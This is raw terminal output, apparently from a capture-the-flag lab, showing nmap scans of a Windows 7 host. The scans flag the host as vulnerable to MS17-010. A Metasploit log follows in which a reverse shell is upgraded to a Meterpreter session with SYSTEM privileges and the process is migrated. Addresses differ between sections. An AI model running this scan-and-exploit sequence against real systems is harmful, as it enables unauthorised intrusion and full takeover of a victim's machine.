# Nmap 7.80 scan initiated Mon Jul 7 14:41:21 2025 as: nmap -p135,139,3389,445,49152,49153,49154,49158,49160 -sV -sC -Pn -vvv -oN fullScan.txt 10.10.244.83

Nmap scan report for ip-10-10-244-83.eu-west-1.compute.internal (10.10.244.83)

Host is up, received arp-response (0.00028s latency).

Scanned at 2025-07-07 14:41:23 BST for 135s

PORT STATE SERVICE REASON VERSION

135/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack ttl 128 Microsoft Windows netbios-ssn

445/tcp open microsoft-ds syn-ack ttl 128 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

3389/tcp open tcpwrapped syn-ack ttl 128

|\_ssl-date: 2025-07-07T13:42:38+00:00; 0s from scanner time.

49152/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

49153/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

49154/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

49158/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

49160/tcp open msrpc syn-ack ttl 128 Microsoft Windows RPC

MAC Address: 02:E0:9F:91:5D:D9 (Unknown)

Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

|\_clock-skew: mean: 1h14m59s, deviation: 2h30m00s, median: 0s

| nbstat: NetBIOS name: JON-PC, NetBIOS user: <unknown>, NetBIOS MAC: 02:e0:9f:91:5d:d9 (unknown)

| Names:

| JON-PC<00> Flags: <unique><active>

| WORKGROUP<00> Flags: <group><active>

| JON-PC<20> Flags: <unique><active>

| WORKGROUP<1e> Flags: <group><active>

| WORKGROUP<1d> Flags: <unique><active>

| \x01\x02\_\_MSBROWSE\_\_\x02<01> Flags: <group><active>

| Statistics:

| 02 e0 9f 91 5d d9 00 00 00 00 00 00 00 00 00 00 00

| 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

|\_ 00 00 00 00 00 00 00 00 00 00 00 00 00 00

| p2p-conficker:

| Checking for Conficker.C or higher...

| Check 1 (port 12430/tcp): CLEAN (Couldn't connect)

| Check 2 (port 27411/tcp): CLEAN (Couldn't connect)

| Check 3 (port 59488/udp): CLEAN (Timeout)

| Check 4 (port 46077/udp): CLEAN (Failed to receive data)

|\_ 0/4 checks are positive: Host is CLEAN or ports are blocked

| smb-os-discovery:

| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

| OS CPE: cpe:/o:microsoft:windows\_7::sp1:professional

| Computer name: Jon-PC

| NetBIOS computer name: JON-PC\x00

| Workgroup: WORKGROUP\x00

|\_ System time: 2025-07-07T08:42:23-05:00

| smb-security-mode:

| account\_used: guest

| authentication\_level: user

| challenge\_response: supported

|\_ message\_signing: disabled (dangerous, but default)

| smb2-security-mode:

| 2.02:

|\_ Message signing enabled but not required

| smb2-time:

| date: 2025-07-07T13:42:23

|\_ start\_date: 2025-07-07T13:34:44

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Mon Jul 7 14:43:38 2025 -- 1 IP address (1 host up) scanned in 136.76 seconds

root@ip-10-10-142-242:~# nmap -p135,139,3389,445,49152,49153,49154,49158,49160 --script vuln -Pn -vvv 10.10.244.83

Starting Nmap 7.80 ( https://nmap.org ) at 2025-07-07 14:46 BST

NSE: Loaded 105 scripts for scanning.

NSE: Script Pre-scanning.

NSE: Starting runlevel 1 (of 2) scan.

Initiating NSE at 14:46

Completed NSE at 14:46, 10.00s elapsed

NSE: Starting runlevel 2 (of 2) scan.

Initiating NSE at 14:46

Completed NSE at 14:46, 0.00s elapsed

Initiating ARP Ping Scan at 14:46

Scanning 10.10.244.83 [1 port]

Completed ARP Ping Scan at 14:46, 0.03s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 14:46

Completed Parallel DNS resolution of 1 host. at 14:46, 0.00s elapsed

DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]

Initiating SYN Stealth Scan at 14:46

Scanning ip-10-10-244-83.eu-west-1.compute.internal (10.10.244.83) [9 ports]

Discovered open port 49152/tcp on 10.10.244.83

Discovered open port 49154/tcp on 10.10.244.83

Discovered open port 49153/tcp on 10.10.244.83

Discovered open port 139/tcp on 10.10.244.83

Discovered open port 49158/tcp on 10.10.244.83

Discovered open port 49160/tcp on 10.10.244.83

Discovered open port 135/tcp on 10.10.244.83

Discovered open port 445/tcp on 10.10.244.83

Discovered open port 3389/tcp on 10.10.244.83

Completed SYN Stealth Scan at 14:46, 1.14s elapsed (9 total ports)

NSE: Script scanning 10.10.244.83.

NSE: Starting runlevel 1 (of 2) scan.

Initiating NSE at 14:46

NSE: [ssl-ccs-injection 10.10.244.83:3389] No response from server: TIMEOUT

NSE Timing: About 88.34% done; ETC: 14:47 (0:00:04 remaining)

NSE Timing: About 88.83% done; ETC: 14:48 (0:00:08 remaining)

Completed NSE at 14:48, 85.61s elapsed

NSE: Starting runlevel 2 (of 2) scan.

Initiating NSE at 14:48

Completed NSE at 14:48, 0.00s elapsed

Nmap scan report for ip-10-10-244-83.eu-west-1.compute.internal (10.10.244.83)

Host is up, received arp-response (0.0022s latency).

Scanned at 2025-07-07 14:46:54 BST for 87s

PORT STATE SERVICE REASON

135/tcp open msrpc syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

139/tcp open netbios-ssn syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

445/tcp open microsoft-ds syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

3389/tcp open ms-wbt-server syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

|\_ssl-ccs-injection: No reply from server (TIMEOUT)

|\_sslv2-drown:

49152/tcp open unknown syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49153/tcp open unknown syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49154/tcp open unknown syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49158/tcp open unknown syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

49160/tcp open unknown syn-ack ttl 128

|\_clamav-exec: ERROR: Script execution failed (use -d to debug)

MAC Address: 02:E0:9F:91:5D:D9 (Unknown)

Host script results:

|\_samba-vuln-cve-2012-1182: NT\_STATUS\_ACCESS\_DENIED

|\_smb-vuln-ms10-054: false

|\_smb-vuln-ms10-061: NT\_STATUS\_ACCESS\_DENIED

| smb-vuln-ms17-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1

| servers (ms17-010).

|

| Disclosure date: 2017-03-14

| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

|\_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 2) scan.

Initiating NSE at 14:48

Completed NSE at 14:48, 0.00s elapsed

NSE: Starting runlevel 2 (of 2) scan.

Initiating NSE at 14:48

Completed NSE at 14:48, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

Nmap done: 1 IP address (1 host up) scanned in 97.61 seconds

Raw packets sent: 18 (776B) | Rcvd: 10 (424B)

root@ip-10-10-142-242:~#

sf6 post(multi/manage/shell\_to\_meterpreter) > sessions

[\*] Sending stage (203846 bytes) to 10.10.96.52

Active sessions

===============

Id Name Type Information Connection

-- ---- ---- ----------- ----------

1 shell x64/windows Shell Banner: Microso 10.10.69.200:4444 ->

ft Windows [Version 6 10.10.96.52:49173 (10

.1.7601] ----- .10.96.52)

2 meterpreter x64/wind 10.10.69.200:4433 ->

ows 10.10.96.52:49187 (10

.10.96.52)

msf6 post(multi/manage/shell\_to\_meterpreter) > [\*] Meterpreter session 2 opened (10.10.69.200:4433 -> 10.10.96.52:49187) at 2025-07-07 17:06:26 +0100

[\*] Stopping exploit/multi/handler

sessions -i 2

[\*] Starting interaction with 2...

meterpreter >

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > migrate 1284

[\*] Migrating from 1584 to 1284...

[\*] Migration completed successfully.

meterpreter >